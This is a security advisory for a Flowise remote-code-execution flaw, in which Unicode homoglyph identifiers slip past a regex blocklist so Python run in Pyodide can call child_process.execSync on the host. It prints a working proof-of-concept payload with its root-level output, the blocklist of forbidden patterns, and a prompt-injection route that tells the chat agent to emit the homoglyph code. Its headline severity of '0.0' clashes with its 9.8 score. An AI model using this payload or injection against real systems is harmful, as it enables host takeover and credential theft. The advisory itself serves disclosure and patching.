GHSA-52fh-8v99-63c2 CVE-2026-70470
Flowise: Pyodide validator Unicode homoglyph bypass leads to RCE
- Severity
- 0.0 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 0.97%
- Chance of exploitation in the next 30 days. Higher than 61.97% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-184 Incomplete List of Disallowed Inputs
- Fix
- Available
- 2 packages have a fixed version
Description
Summary
The validatePythonCodeForDataFrame blacklist in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide's js module interop. This reopens the RCE paths patched as GHSA-3hjv-c53m-58jj (CSV Agent) and GHSA-v38x-c887-992f (Airtable Agent).
Details
packages/components/src/pythonCodeValidator.ts gates every call to pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts (lines 147, 198) and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts (line 186). The gate is a regex blacklist:
{ pattern: /\bimport\b/g, ... },
{ pattern: /\b__class__\b/g, ... },
{ pattern: /\b__subclasses__\s*\(/g, ... },
{ pattern: /\b__builtins__\b/g, ... },
{ pattern: /\b__mro__\b/g, ... },
// ... about 30 similar rules
Two design flaws combine into a bypass:
- JavaScript regex
\bis ASCII-only. Word boundaries are computed against the ASCII word class[A-Za-z0-9_]. A Unicode letter such as U+1D41A (mathematical bold small a) is treated as a non-word character, so\b__class__\bnever matches__cl𝐚ss__. - Python 3 (PEP 3131) NFKC-normalizes every identifier at parse time.
__cl𝐚ss__,__subcl𝐚sses__,__b𝐚se__,__b𝐮iltins__, and similar homoglyph forms are all parsed as their ASCII equivalents.
Attribute access obj.__cl𝐚ss__ is normalized because attribute names are identifiers. Dict string keys such as bi['__import__'] are not normalized, but they are free text and can be assembled with chr() to avoid literal matches on patterns like \bimport\b or \b__import__\s*\(/.
From inside Pyodide, __builtins__['__import__']('js') yields the JS host bridge. In the Node.js host that runs Flowise, that bridge exposes process.mainModule.require('child_process').execSync, which runs native commands on the host with the privileges of the Flowise process.
Affected call sites:
- packages/components/nodes/agents/CSVAgent/CSVAgent.ts:147 validates
customReadCSV(node-config-controlled, interpolated into the read-CSV script on line 167) and 198 validates the LLM-generatedpythonCodebefore it reachespyodide.runPythonAsync(code)on line 209. - packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts:186 validates the LLM-generated
pythonCodebeforepyodide.runPythonAsyncon line 197.
The original patches for GHSA-3hjv-c53m-58jj (commit a24acac, PR #5701) and a24acac's follow-up (commit 0c8236a, PR #5836) rely entirely on this validator. Because the validator is bypassable, both advisories are effectively reintroduced in 3.1.2.
PoC
Standalone reproduction that mirrors the exact code paths in CSVAgent.ts / AirtableAgent.ts. It feeds a malicious pythonCode to the real validator, confirms the validator returns valid: true, then runs the same string through Pyodide and prints the output of a native command executed on the host:
// npm install pyodide
const { loadPyodide } = require('pyodide')
const FORBIDDEN_PATTERNS = [
{ pattern: /\bfrom\s+\S+\s+import\b/g }, { pattern: /\bimport\b/g },
{ pattern: /\beval\s*\(/g }, { pattern: /\bexec\s*\(/g },
{ pattern: /\bcompile\s*\(/g }, { pattern: /\b__import__\s*\(/g },
{ pattern: /\bopen\s*\(/g }, { pattern: /\bgetattr\s*\(/g },
{ pattern: /\bos\./g }, { pattern: /\bsubprocess\./g },
{ pattern: /\bsys\./g }, { pattern: /\bsocket\./g },
{ pattern: /\burllib\./g }, { pattern: /\brequests\./g },
{ pattern: /\b__builtins__\b/g }, { pattern: /\b__class__\b/g },
{ pattern: /\b__subclasses__\s*\(/g }, { pattern: /\b__bases__\b/g },
{ pattern: /\b__mro__\b/g }, { pattern: /\b__globals__\b/g },
{ pattern: /\b__code__\b/g }, { pattern: /\b__dict__\b/g },
]
const validate = (code) => FORBIDDEN_PATTERNS.every(p => { p.pattern.lastIndex = 0; return !p.pattern.test(code) })
const payload = `
cls = ().__cl\u{1D41A}ss__
base = cls.__b\u{1D41A}se__
subs = base.__subcl\u{1D41A}sses__()
for c in subs:
if c.__name__ == 'catch_warnings':
cw = c()
bi = cw._module.__b\u{1D42E}iltins__
imp_name = chr(95)*2 + 'imp' + 'ort' + chr(95)*2
imp = bi[imp_name]
js_mod = imp(chr(106)+chr(115))
cp_name = 'child' + chr(95) + 'process'
cp = js_mod.process.mainModule.require(cp_name)
opts = js_mod.Object.new(); opts.encoding = 'utf8'
result = cp.execSync('id && hostname && echo FLOWISE_RCE_CONFIRMED', opts)
break
str(result)
`
;(async () => {
console.log('validator passes:', validate(payload)) // true
const py = await loadPyodide()
console.log(await py.runPythonAsync(payload))
})()
Run output on a stock host:
validator passes: true
uid=0(root) gid=0(root) groups=0(root)
<hostname>
FLOWISE_RCE_CONFIRMED
Live path against a Flowise deployment:
- Workspace user (or any user able to reach a public CSV Agent chatflow) opens a chatflow containing CSV_Agent or Airtable_Agent.
- For the LLM-generated path: send a chat message via
POST /api/v1/prediction/{chatflowId}that instructs the model to answer in Python using mathematical bold letters for__class__,__subclasses__,__base__, and__builtins__, following the structure above. The model's output is regex-validated (passes), then executed by Pyodide, giving RCE on the host. - For the direct path: a workspace user with chatflow edit rights sets
customReadCSVto the payload above. Every subsequent prediction hits CSVAgent.ts:171 and runs the attacker-controlled code on the host.
Impact
Any user able to reach a chatflow that uses CSV_Agent or Airtable_Agent, including unauthenticated users on public chatflows, can run arbitrary OS commands as the Flowise process on the host. That yields read/write access to every credential and file the Flowise process can reach, pivot into the internal network, and full compromise of multi-tenant workspaces that share the same server. The prior advisories GHSA-3hjv-c53m-58jj and GHSA-v38x-c887-992f were scored 9.8 critical for the same reachable sink; this finding restores that impact in version 3.1.2.
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| flowise | < 3.1.3 |
3.1.3 |
| flowise-components | < 3.1.3 |
3.1.3 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
flowise npm → 3.1.3
- npm
npm install flowise@3.1.3- yarn
yarn add flowise@3.1.3- pnpm
pnpm add flowise@3.1.3
flowise-components npm → 3.1.3
- npm
npm install flowise-components@3.1.3- yarn
yarn add flowise-components@3.1.3- pnpm
pnpm add flowise-components@3.1.3
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
- Attack vector
- Network
- Attack complexity
- High
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- High
- Integrity (subsequent systems)
- High
- Availability (subsequent systems)
- High
CVSS 3.1 9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-184: Incomplete List of Disallowed Inputs
The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.
How to prevent it
- Implementation: Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-w7x8-q2gp-5cgg Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass | Critical | Also affects flowise |
| GHSA-9gvv-qjj3-2p6g Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium | High | Also affects flowise |
| GHSA-qgvm-j2hm-6m38 Flowise: Unauthenticated OAuth2 token refresh endpoint returns access tokens — enables token theft for any connected service | Critical | Also affects flowise |
| GHSA-5xvg-pmgg-3mxr Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability | Critical | Also affects flowise |
| GHSA-gmmw-qg98-6j6p Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation | High | Also affects flowise |
| GHSA-8gj2-2cvc-6xx7 Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials | Medium | Also affects flowise |
| GHSA-fm2f-4339-4p2f Flowise: Missing Authorization on Execution Update Endpoint | Medium | Also affects flowise |
| GHSA-wch5-xp77-fxg4 Flowise: Cross-Workspace OAuth2 Credential Metadata Leak | High | Also affects flowise |
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